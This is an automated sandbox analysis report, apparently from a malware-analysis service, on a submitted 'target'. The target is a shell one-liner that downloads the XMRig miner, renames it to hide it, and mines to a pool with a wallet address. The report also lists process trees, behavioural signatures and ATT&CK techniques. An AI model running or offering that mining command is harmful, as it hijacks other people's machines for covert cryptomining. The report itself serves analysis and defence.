Analysis

  • max time kernel
    1798s
  • max time network
    1743s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    12-06-2024 14:01

General

  • Target

    http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && mv xmrig cool && ./cool -o xmrpool.eu:3333 -u 42jwF6dmaUhS6oYB7yJ95qKrrKnhxaD7d8tBDvAFef4rMdtkpRePV5C2cKiB8kRuDBhroi5ytYmR467TgfoiwfRp1qhCNYH

Score
4/10

Malware Config

Signatures

  • Changes its process name 64 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 11 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /usr/bin/xdg-open
    xdg-open "http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && mv xmrig cool && ./cool -o xmrpool.eu:3333 -u 42jwF6dmaUhS6oYB7yJ95qKrrKnhxaD7d8tBDvAFef4rMdtkpRePV5C2cKiB8kRuDBhroi5ytYmR467TgfoiwfRp1qhCNYH"
    1⤵
      PID:1455
      • /usr/bin/dbus-send
        dbus-send --print-reply "--dest=org.freedesktop.DBus" /org/freedesktop/DBus org.freedesktop.DBus.GetNameOwner string:org.gnome.SessionManager
        2⤵
        • Reads runtime system information
        PID:1456
        • /usr/bin/dbus-launch
          dbus-launch --autolaunch 4816dd152e8c48ff97e9117d197c13d8 --binary-syntax --close-stderr
          3⤵
            PID:1457
            • /usr/bin/dbus-daemon
              /usr/bin/dbus-daemon --syslog-only --fork --print-pid 5 --print-address 7 --session
              4⤵
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              PID:1459
              • /usr/libexec/xdg-desktop-portal
                /usr/libexec/xdg-desktop-portal
                5⤵
                • Reads runtime system information
                PID:1587
              • /usr/libexec/xdg-document-portal
                /usr/libexec/xdg-document-portal
                5⤵
                • Reads runtime system information
                PID:1593
              • /usr/libexec/xdg-permission-store
                /usr/libexec/xdg-permission-store
                5⤵
                • Reads runtime system information
                PID:1597
              • /usr/libexec/xdg-desktop-portal-gtk
                /usr/libexec/xdg-desktop-portal-gtk
                5⤵
                  PID:1608
                • /usr/libexec/gvfsd
                  /usr/libexec/gvfsd
                  5⤵
                  • Reads runtime system information
                  PID:1612
                  • /usr/libexec/gvfsd-trash
                    /usr/libexec/gvfsd-trash --spawner :1.8 /org/gtk/gvfs/exec_spaw/0
                    6⤵
                    • Reads runtime system information
                    PID:1644
                • /usr/libexec/dconf-service
                  /usr/libexec/dconf-service
                  5⤵
                  • Reads runtime system information
                  PID:1635
                • /usr/bin/nautilus
                  /usr/bin/nautilus --gapplication-service
                  5⤵
                  • Reads CPU attributes
                  • Reads runtime system information
                  PID:1641
                • /usr/bin/gnome-keyring-daemon
                  /usr/bin/gnome-keyring-daemon --start --foreground "--components=secrets"
                  5⤵
                  • Reads runtime system information
                  PID:1768
                • /usr/libexec/gvfs-udisks2-volume-monitor
                  /usr/libexec/gvfs-udisks2-volume-monitor
                  5⤵
                  • Reads runtime system information
                  PID:1778
                • /usr/libexec/gvfs-afc-volume-monitor
                  /usr/libexec/gvfs-afc-volume-monitor
                  5⤵
                  • Reads runtime system information
                  PID:1784
                • /usr/libexec/gvfs-mtp-volume-monitor
                  /usr/libexec/gvfs-mtp-volume-monitor
                  5⤵
                  • Enumerates kernel/hardware configuration
                  PID:1790
                • /usr/libexec/gvfs-gphoto2-volume-monitor
                  /usr/libexec/gvfs-gphoto2-volume-monitor
                  5⤵
                  • Enumerates kernel/hardware configuration
                  PID:1795
                • /usr/libexec/gvfs-goa-volume-monitor
                  /usr/libexec/gvfs-goa-volume-monitor
                  5⤵
                    PID:1801
                  • /usr/libexec/goa-daemon
                    /usr/libexec/goa-daemon
                    5⤵
                      PID:1805
                    • /usr/libexec/goa-identity-service
                      /usr/libexec/goa-identity-service
                      5⤵
                      • Reads runtime system information
                      PID:1812
              • /usr/bin/grep
                grep " = \\\"xfce4\\\"\$"
                2⤵
                  PID:1463
                • /usr/bin/xprop
                  xprop -root _DT_SAVE_MODE
                  2⤵
                    PID:1462
                  • /usr/bin/grep
                    grep -i "^xfce_desktop_window"
                    2⤵
                      PID:1465
                    • /usr/bin/xprop
                      xprop -root
                      2⤵
                        PID:1464
                      • /usr/bin/grep
                        grep -q "^Enlightenment"
                        2⤵
                          PID:1467
                        • /usr/bin/uname
                          uname
                          2⤵
                            PID:1468
                          • /usr/bin/grep
                            grep -q "^file://"
                            2⤵
                              PID:1470
                            • /usr/bin/egrep
                              egrep -q "^[[:alpha:]+\\.\\-]+:"
                              2⤵
                                PID:1472
                              • /usr/local/sbin/grep
                                grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                2⤵
                                  PID:1472
                                • /usr/local/bin/grep
                                  grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                  2⤵
                                    PID:1472
                                  • /usr/sbin/grep
                                    grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                    2⤵
                                      PID:1472
                                    • /usr/bin/grep
                                      grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                      2⤵
                                        PID:1472
                                      • /usr/bin/sed
                                        sed -n "s/\\(^[[:alnum:]+\\.-]*\\):.*\$/\\1/p"
                                        2⤵
                                          PID:1475
                                        • /usr/bin/xdg-mime
                                          xdg-mime query default x-scheme-handler/http
                                          2⤵
                                            PID:1476
                                            • /usr/bin/dbus-send
                                              dbus-send --print-reply "--dest=org.freedesktop.DBus" /org/freedesktop/DBus org.freedesktop.DBus.GetNameOwner string:org.gnome.SessionManager
                                              3⤵
                                                PID:1477
                                                • /usr/bin/dbus-launch
                                                  dbus-launch --autolaunch 4816dd152e8c48ff97e9117d197c13d8 --binary-syntax --close-stderr
                                                  4⤵
                                                    PID:1478
                                                • /usr/bin/grep
                                                  grep " = \\\"xfce4\\\"\$"
                                                  3⤵
                                                    PID:1480
                                                  • /usr/bin/xprop
                                                    xprop -root _DT_SAVE_MODE
                                                    3⤵
                                                      PID:1479
                                                    • /usr/bin/grep
                                                      grep -i "^xfce_desktop_window"
                                                      3⤵
                                                        PID:1482
                                                      • /usr/bin/xprop
                                                        xprop -root
                                                        3⤵
                                                          PID:1481
                                                        • /usr/bin/grep
                                                          grep -q "^Enlightenment"
                                                          3⤵
                                                            PID:1484
                                                          • /usr/bin/uname
                                                            uname
                                                            3⤵
                                                              PID:1485
                                                            • /usr/bin/sed
                                                              sed "s/:/ /g"
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1488
                                                            • /usr/bin/cut
                                                              cut -d ";" -f 1
                                                              3⤵
                                                                PID:1493
                                                              • /usr/bin/cut
                                                                cut -d "=" -f 2
                                                                3⤵
                                                                  PID:1492
                                                                • /usr/bin/head
                                                                  head -n 1
                                                                  3⤵
                                                                    PID:1491
                                                                  • /usr/bin/grep
                                                                    grep "x-scheme-handler/http=" /.local/share/applications/defaults.list /.local/share/applications/mimeinfo.cache
                                                                    3⤵
                                                                      PID:1490
                                                                    • /usr/bin/cut
                                                                      cut -d ";" -f 1
                                                                      3⤵
                                                                        PID:1498
                                                                      • /usr/bin/cut
                                                                        cut -d "=" -f 2
                                                                        3⤵
                                                                          PID:1497
                                                                        • /usr/bin/head
                                                                          head -n 1
                                                                          3⤵
                                                                            PID:1496
                                                                          • /usr/bin/grep
                                                                            grep "x-scheme-handler/http=" /.local/share/applications/defaults.list /.local/share/applications/mimeinfo.cache
                                                                            3⤵
                                                                              PID:1495
                                                                            • /usr/bin/cut
                                                                              cut -d ";" -f 1
                                                                              3⤵
                                                                                PID:1503
                                                                              • /usr/bin/cut
                                                                                cut -d "=" -f 2
                                                                                3⤵
                                                                                  PID:1502
                                                                                • /usr/bin/head
                                                                                  head -n 1
                                                                                  3⤵
                                                                                    PID:1501
                                                                                  • /usr/bin/grep
                                                                                    grep "x-scheme-handler/http=" /usr/local/share//applications/defaults.list /usr/local/share//applications/mimeinfo.cache
                                                                                    3⤵
                                                                                      PID:1500
                                                                                    • /usr/bin/cut
                                                                                      cut -d ";" -f 1
                                                                                      3⤵
                                                                                        PID:1508
                                                                                      • /usr/bin/cut
                                                                                        cut -d "=" -f 2
                                                                                        3⤵
                                                                                          PID:1507
                                                                                        • /usr/bin/head
                                                                                          head -n 1
                                                                                          3⤵
                                                                                            PID:1506
                                                                                          • /usr/bin/grep
                                                                                            grep "x-scheme-handler/http=" /usr/local/share//applications/defaults.list /usr/local/share//applications/mimeinfo.cache
                                                                                            3⤵
                                                                                              PID:1505
                                                                                            • /usr/bin/cut
                                                                                              cut -d ";" -f 1
                                                                                              3⤵
                                                                                                PID:1513
                                                                                              • /usr/bin/cut
                                                                                                cut -d "=" -f 2
                                                                                                3⤵
                                                                                                  PID:1512
                                                                                                • /usr/bin/head
                                                                                                  head -n 1
                                                                                                  3⤵
                                                                                                    PID:1511
                                                                                                  • /usr/bin/grep
                                                                                                    grep "x-scheme-handler/http=" /usr/share//applications/defaults.list /usr/share//applications/mimeinfo.cache
                                                                                                    3⤵
                                                                                                      PID:1510
                                                                                                  • /usr/bin/sed
                                                                                                    sed "s/:/ /g"
                                                                                                    2⤵
                                                                                                      PID:1516
                                                                                                    • /usr/bin/sed
                                                                                                      sed -e "s|-|/|"
                                                                                                      2⤵
                                                                                                      • Reads runtime system information
                                                                                                      PID:1519
                                                                                                    • /usr/bin/sed
                                                                                                      sed -e "s|-|/|"
                                                                                                      2⤵
                                                                                                      • Reads runtime system information
                                                                                                      PID:1522
                                                                                                    • /usr/bin/cut
                                                                                                      cut "-d=" -f 2-
                                                                                                      2⤵
                                                                                                        PID:1527
                                                                                                      • /usr/bin/which
                                                                                                        which firefox
                                                                                                        2⤵
                                                                                                          PID:1531
                                                                                                        • /usr/bin/cut
                                                                                                          cut "-d=" -f 2-
                                                                                                          2⤵
                                                                                                            PID:1534
                                                                                                          • /usr/bin/cut
                                                                                                            cut "-d=" -f 2-
                                                                                                            2⤵
                                                                                                              PID:1537
                                                                                                            • /usr/bin/cut
                                                                                                              cut "-d=" -f 2-
                                                                                                              2⤵
                                                                                                                PID:1542
                                                                                                              • /usr/bin/firefox
                                                                                                                /usr/bin/firefox "http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && mv xmrig cool && ./cool -o xmrpool.eu:3333 -u 42jwF6dmaUhS6oYB7yJ95qKrrKnhxaD7d8tBDvAFef4rMdtkpRePV5C2cKiB8kRuDBhroi5ytYmR467TgfoiwfRp1qhCNYH"
                                                                                                                2⤵
                                                                                                                  PID:1543
                                                                                                                  • /usr/bin/which
                                                                                                                    which /usr/bin/firefox
                                                                                                                    3⤵
                                                                                                                      PID:1544
                                                                                                                  • /usr/lib/firefox/firefox
                                                                                                                    /usr/lib/firefox/firefox "http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && mv xmrig cool && ./cool -o xmrpool.eu:3333 -u 42jwF6dmaUhS6oYB7yJ95qKrrKnhxaD7d8tBDvAFef4rMdtkpRePV5C2cKiB8kRuDBhroi5ytYmR467TgfoiwfRp1qhCNYH"
                                                                                                                    2⤵
                                                                                                                    • Checks CPU configuration
                                                                                                                    • Reads CPU attributes
                                                                                                                    • Enumerates kernel/hardware configuration
                                                                                                                    • Reads runtime system information
                                                                                                                    • Writes file to tmp directory
                                                                                                                    PID:1543
                                                                                                                    • /usr/local/sbin/dbus-launch
                                                                                                                      dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                      3⤵
                                                                                                                        PID:1548
                                                                                                                      • /usr/local/bin/dbus-launch
                                                                                                                        dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                        3⤵
                                                                                                                          PID:1548
                                                                                                                        • /usr/sbin/dbus-launch
                                                                                                                          dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                          3⤵
                                                                                                                            PID:1548
                                                                                                                          • /usr/bin/dbus-launch
                                                                                                                            dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                            3⤵
                                                                                                                              PID:1548
                                                                                                                            • /usr/lib/firefox/glxtest
                                                                                                                              /usr/lib/firefox/glxtest -f 13
                                                                                                                              3⤵
                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                              PID:1551
                                                                                                                            • /usr/bin/lsb_release
                                                                                                                              /usr/bin/lsb_release -idrc
                                                                                                                              3⤵
                                                                                                                                PID:1563
                                                                                                                              • /usr/local/sbin/dbus-launch
                                                                                                                                dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                3⤵
                                                                                                                                  PID:1573
                                                                                                                                • /usr/local/bin/dbus-launch
                                                                                                                                  dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                  3⤵
                                                                                                                                    PID:1573
                                                                                                                                  • /usr/sbin/dbus-launch
                                                                                                                                    dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                    3⤵
                                                                                                                                      PID:1573
                                                                                                                                    • /usr/bin/dbus-launch
                                                                                                                                      dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                      3⤵
                                                                                                                                        PID:1573
                                                                                                                                      • /usr/lib/firefox/firefox
                                                                                                                                        /usr/lib/firefox/firefox -contentproc -parentBuildID 20240108143603 -prefsLen 20982 -prefMapSize 234098 -appDir /usr/lib/firefox/browser "{ead56503-2d8e-44f9-a407-aa4b27f0b821}" 1543 true socket
                                                                                                                                        3⤵
                                                                                                                                        • Reads CPU attributes
                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                        • Reads runtime system information
                                                                                                                                        PID:1585
                                                                                                                                      • /usr/lib/firefox/firefox
                                                                                                                                        /usr/lib/firefox/firefox -contentproc -childID 1 -isForBrowser -prefsLen 27119 -prefMapSize 234098 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{5e5c9322-a3b4-4081-8475-b1046a35ea42}" 1543 true tab
                                                                                                                                        3⤵
                                                                                                                                        • Reads CPU attributes
                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                        • Reads runtime system information
                                                                                                                                        PID:1673
                                                                                                                                      • /usr/lib/firefox/firefox
                                                                                                                                        /usr/lib/firefox/firefox -contentproc -parentBuildID 20240108143603 -sandboxingKind 0 -prefsLen 27692 -prefMapSize 234098 -appDir /usr/lib/firefox/browser "{d7813536-a355-491c-a2db-4f63900749dc}" 1543 true utility
                                                                                                                                        3⤵
                                                                                                                                        • Reads CPU attributes
                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                        • Reads runtime system information
                                                                                                                                        PID:1710
                                                                                                                                      • /usr/lib/firefox/firefox
                                                                                                                                        /usr/lib/firefox/firefox -contentproc -childID 2 -isForBrowser -prefsLen 25929 -prefMapSize 234098 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{93f276a0-332f-42cb-8488-6d03483daa8b}" 1543 true tab
                                                                                                                                        3⤵
                                                                                                                                        • Reads CPU attributes
                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                        • Reads runtime system information
                                                                                                                                        PID:1717
                                                                                                                                      • /usr/lib/firefox/firefox
                                                                                                                                        /usr/lib/firefox/firefox -contentproc -childID 3 -isForBrowser -prefsLen 25929 -prefMapSize 234098 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{68812738-37d7-41cf-893b-7d5acde6c304}" 1543 true tab
                                                                                                                                        3⤵
                                                                                                                                        • Reads CPU attributes
                                                                                                                                        • Reads runtime system information
                                                                                                                                        PID:1719
                                                                                                                                      • /usr/lib/firefox/firefox
                                                                                                                                        /usr/lib/firefox/firefox -contentproc -childID 4 -isForBrowser -prefsLen 25929 -prefMapSize 234098 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{e0d0dbd9-edcc-4abf-abdf-a64ba93cd72c}" 1543 true tab
                                                                                                                                        3⤵
                                                                                                                                        • Reads CPU attributes
                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                        • Reads runtime system information
                                                                                                                                        PID:1723
                                                                                                                                  • /usr/libexec/gvfsd-fuse
                                                                                                                                    /usr/libexec/gvfsd-fuse /root/.cache/gvfs -f -o big_writes
                                                                                                                                    1⤵
                                                                                                                                      PID:1617

                                                                                                                                    Network

                                                                                                                                    MITRE ATT&CK Matrix ATT&CK v13

                                                                                                                                    Defense Evasion

                                                                                                                                    Virtualization/Sandbox Evasion

                                                                                                                                    1
                                                                                                                                    T1497

                                                                                                                                    Discovery

                                                                                                                                    Virtualization/Sandbox Evasion

                                                                                                                                    1
                                                                                                                                    T1497

                                                                                                                                    System Information Discovery

                                                                                                                                    2
                                                                                                                                    T1082

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